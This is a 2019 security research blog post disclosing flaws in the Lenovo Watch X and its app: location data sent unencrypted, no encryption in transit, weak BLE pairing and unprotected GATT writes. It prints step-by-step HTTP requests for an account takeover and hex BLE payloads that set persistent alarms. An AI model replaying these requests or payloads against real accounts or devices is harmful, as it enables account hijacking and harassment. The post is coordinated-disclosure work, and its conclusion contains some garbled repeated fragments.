Blog

Your Lenovo Watch X Is Watching You & Sharing What It Learns

12 min.

February 12, 2019

A friend of mine offered me a Lenovo Watch X – which costs around €60 – in return for helping him with a security project. I was impressed with the design and the quality of the watch. Of course, I also immediately wanted to test its security.

Lenovo Watch X Security Research Summary

I think we all understand why a smart device like the Lenovo Watch X needs to collect some types of information. As users, our hope is that only the necessary information is shared and stored, and that all of our personally identifiable information (PII) is handled securely and responsibly.
Unfortunately, during the course of my research I found quite a few vulnerabilities in my shiny new Lenovo Watch X. Each of the vulnerabilities concern me, but a few of them are pretty disturbing. I’ll name and describe the vulnerabilities, and then share how that vulnerability could be used in an attack scenario.
VulnerabilityPinpoint Phone Location: Phone latitude and longitude coordinates regularly sent to a remote unknown server in China.
Attack scenario: Ability to track the location of the watch owner, not only by the unknown server in China” but also by anyone sniffing the network.
VulnerabilitySniffing / MiTM: Communication sent between the mobile application and web server is not encrypted, so anyone could sniff the communication.
Attack scenario: A malicious user could grab user credentials, hijack accounts, and track users just by being on the same network as their victim(s).
Vulnerability Account Takeover: Due to lack of account validation and permissions, it’s possible to force a password change request for any user.
Attack scenario: Anyone who knows the userid could change the user password, and therefore hijack remote accounts.
Vulnerability Magic BLE: The Bluetooth Low Energy pairing allows pairing devices using only normal hand movement. There is no timeout system enabled.
Attack scenario: A malicious user could easy pair to the victim’s watch just using normal pairing; the natural movement of the hand makes a successful pairing easy.
Vulnerability Spoofing Calls: Write permissions on a specific GATT UUID allow the spoofing calls attack.
Attack scenario: A malicious user could send a specific command to the device and spoof incoming calls to the victim’s watch.
Vulnerability: Set Alarms: Write permissions on a specific GATT UUID allow setting alarms on the watch.
Attack scenario: A malicious user could send a specific command to the watch to set alarms. The function allows adding multiple alarms, as often as every minute.

Lenovo Watch X Android Application

My next step was to install the official Lenovo Watch X Android app, which has around +50,000 downloads. Then I started monitoring the traffic from the app. I wanted to see what permissions it required as well as what it sent to a remote server.
The Watch X Android app requires the following permissions:

  • permission.INTERNET
  • permission.READ_EXTERNAL_STORAGE
  • permission.WRITE_EXTERNAL_STORAGE
  • permission.BLUETOOTH_ADMIN
  • permission.BLUETOOTH
  • permission.ACCESS_COARSE_LOCATION
  • permission.GET_TASKS
  • permission.ACCESS_WIFI_STATE
  • permission.ACCESS_NETWORK_STATE
  • permission.CHANGE_WIFI_STATE
  • permission.READ_PHONE_STATE
  • permission.CAMERA
  • permission.CALL_PHONE
  • permission.WAKE_LOCK
  • permission.REQUEST_INSTALL_PACKAGES
  • permission.ACCESS_FINE_LOCATION
  • permission.ACCESS_LOCATION_EXTRA_COMMANDS
  • permission.RECEIVE_SMS
  • permission.READ_CONTACTS
  • permission.BIND_ACCESSIBILITY_SERVICE
  • permission.RECORD_AUDIO
  • permission.GET_ACCOUNTS
  • permission.USE_CREDENTIALS
  • permission.WRITE_SETTINGS
  • permission.FLASHLIGHT

I understand why the Android app needed some of these permissions, but others seemed a bit strange to me. I continued with my research and immediately noticed a strange request to a Chinese server:
POST /api/dmap-analysis-point-server/v2/insertBaseBurialPointInfoV2 HTTP/1.1
language: EN_HK
token:
visitorId: 1043065036087934976
Content-Type: application/json; charset=utf-8
Content-Length: 575
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
[{"appVersion":"2.4.1","boundTime":0,"equipmentModel":"0201060EFF03A35042303031DC41E5002084080957617463682058031400A800000000000000000000000000000000000000000000000000000000000000","equipmentType":1,"firmwareId":"PB001","firmwareVersion":"0.3.6","imei":"629*","latitude":"40.*","loginTime":1537801210,"longitude":"-8.*","phoneLanguage":"pt_PT","phoneModel":"LG-M320","phoneType":"lge","phoneVersion":"Android7.0","placeId":111007,"projectId":"AP110002","sn":"LGM3*","startUpNum":0,"userId":1043065036087934976,"userTime":30,"userType":"1"}]
At this point they already pinpointed my location – which by the way is exactly where I was. I hadn’t even registered for a Lenovo Watch account yet – but already they had my PII.
Latitude Longitude Reported on Lenovo Watch X
My next step was to register for an account. Registering triggered other alarms in my mind. For example, I did not see HTTPS in any requests sent between the application and the server. Essentially, anyone could launch a MiTM attack at that point, or even just watch what I’m doing.

Sniffing/MiTM

Next, I wanted to see exactly what information was being sent (unencrypted) between my app and the server. It was pretty easy to see everything – here are a few examples:

Checking if the email exists already

GET /api/dmap-auth-server/v1/user/email/code/email?email=email@say.what&type=1
HTTP/1.1
language: EN_HK
token:
visitorId: 1043065036087934976Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0

Registering an account

POST /api/dmap-auth-server/v2/user/register/email HTTP/1.1
language: EN_HK
token:
visitorId: 1043065036087934976
Content-Type: application/json; charset=utf-8
Content-Length: 79
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
{"email":"email@say.what","password":"Testing9999","projectId":"AP110002"}

How many steps in a specific day?

GET /api/dmap-senor-server/v1/rank/get/day?time=1537743600&userId=1044244911384469504&stepNum=122
HTTP/1.1
language: EN_HK
token: 9ae1f5a5020c080c58a3d929ceb869db
visitorId: -1
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
Basically a malicious user could monitor any operation on the app. It was pretty clear that none of the data requested by the app was private.

Account Takeover

If nothing is private, what else can I do with this app? My next step was to create two accounts to see if I could hijack an account.

Step 1.

On account A change the password and write down the request:
POST /api/dmap-auth-server/v1/user/retrieve/password/update HTTP/1.1
language: EN_HK
token: TOKEN_FROM_A
visitorId: -1
Content-Type: application/json; charset=utf-8
Content-Length: 55
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
{"password":"Testing9999","userId":1044244911384469504}

Step 2.

On account B change the password of the account using the token from A:
POST /api/dmap-auth-server/v1/user/retrieve/password/update HTTP/1.1
language: EN_HK
token: TOKEN_FROM_A
visitorId: -1
Content-Type: application/json; charset=utf-8
Content-Length: 55
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
{"password":"Testing1111","userId":104490555487071436}

Step 3.

Open the account B and check if the password is Testing1111. And, unfortunately, it is. I just hijacked the account and changed the password.

Step 4.

Next, remove token header.
POST /api/dmap-auth-server/v1/user/retrieve/password/update HTTP/1.1
language: EN_HK
visitorId: -1
Content-Type: application/json; charset=utf-8
Content-Length: 55
Host: prod.api.app.d-map.cn
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.11.0
{"password":"Testing11","userId":104490555487071436}
That works too! So an attacker only needs the userId, then can change the password from any user and gain access to all of the information stored by this app.

Hacking the BLE

Magic Pairing

My first approach to hacking the BLE was to check how to pair the watch with my Android phone. I needed to understand the pairing method.
When you first open the Android application, it tries to find your Lenovo Watch to pair it. You see the following screen:
Confirm Connect - Magic Pairing with Lenovo Watch X
You need to click on the watch button OR move your arm. If the victim is already walking that’s a natural movement right? I did try it and it worked. Just by walking it pairs the device.
But it gets better. I disconnected the device. And tried to pair it again. After blocking the phone and opening again, it bypassed the pairing…
Watch this in action: https://www.youtube.com/watch?v=5Q0Pi3O4r2k

The NSA Is Calling You

Next, I decided to sniff the BLE traffic using three Ubertooth (also known as Uberteeth). I caught some interesting stuff when making a call to the phone. Take a look:
NSA Calling the Lenovo Watch
and
NSA Calling the Lenovo Watch X
What I did was reply to both requests; I got the Levovo Watch X vibrating and telling me that I have an incoming call from “Amor.”
I decoded the hexadecimal value to ASCII, and it is possible to find where the text “Amor” is being sent:
41:6d:6f:72:00:69:6e:63:6f:8d -> Amor.inco
6d:69:6e:67 -> ming
So I wrote a small Python script that will trigger an incoming call from… the NSA! (Why not?)
You can see this in action: https://www.youtube.com/watch?v=1hzuSj4086s 

Set Alarms

Another discovery – you can mess around with the alarm setting on the watch, and it is a persistent alarm. For example, if an attacker writes the following data on the 0x0022 handle:
230109311d01010a01180788015200
It sets the watch to vibrate and inform the wearer of the alarm at 6:07pm (18:07).  Every ten minutes it will warn the user again, until the victim removes it. The victim must enter the app to disable this persistent alarm.
An attacker can go even further and enter a lot of alarms. In fact, an attacker could create some kind of denial of service with alarms:
230109311d01010a010300ff015200
This sets the alarm at 3 am every day. If you need to add more alarms, it’s all too easy – just change the number before the time:
230109311d01010a010300ff015200

Conclusions on the Lenovo Watch X

Based on this research, I made a few recommendations to Lenovo. I think the vulnerabilities on the Lenovo Watch X bear looking at – sharing my exact location with a remote server didn’t seem necessary for the Watch X to function as designed. It’s also a violation of my privacy, and clearly shares my PII. Encrypting communication between the Watch X, Android app, and the web server would help reduce the impact these issues, and it is basically best practice. Both the app and the watch need to confirm the pairing. making it far more difficult for a malicious user to pair with the smart watch. Setting a time out makes it less likely that an unintentional pairing could occur. Fixing the API permissions eliminates the ability of malicious users to send commands to the watch, spoof calls, and set alarms.
dart watch, and setting a time out makes it less likely that an unintentional pairing could occur. r to pair with the
Smart devices like the Lenovo Watch X track a lot of information about you, and some of that may make your life more convenient. By testing the security of smart watches (among other devices), we can help vendors learn that the vulnerabilities in their software lead to problems for their users, and they need to build better, more secure, software and devices to prevent that.

Amazon Echo: Alexa Leveraged as a Silent Eavesdropper hbspt.cta.load(146169, ‘5f4a9df3-db67-40e9-ae50-cb0e21a991a1’, {});

Disclosure Timeline

24-Oct-2018 Reports sent to Lenovo’s PSIRT (Product Security Incident Response Team)
16-Nov-2018 Sent reminders to Lenovo’s PSIRT
16-Nov-2018 Lenovo confirmed they got the reports
26-Nov-2018 Lenovo PSIRT opened a case, reference LEN-25446
27-Nov-2018 Sent our intent to publish
29-Nov-2018 PSIRT asked not to publish before early January
13-Dec-2018 Lenovo requested some clarifications
14-Dec-2018 Sent clarifications
08-Jan-2019 Lenovo PSIRT updated that they moved ownership to a 3rd party provider
16-Jan-2019 3rd party confirmed fixes are issued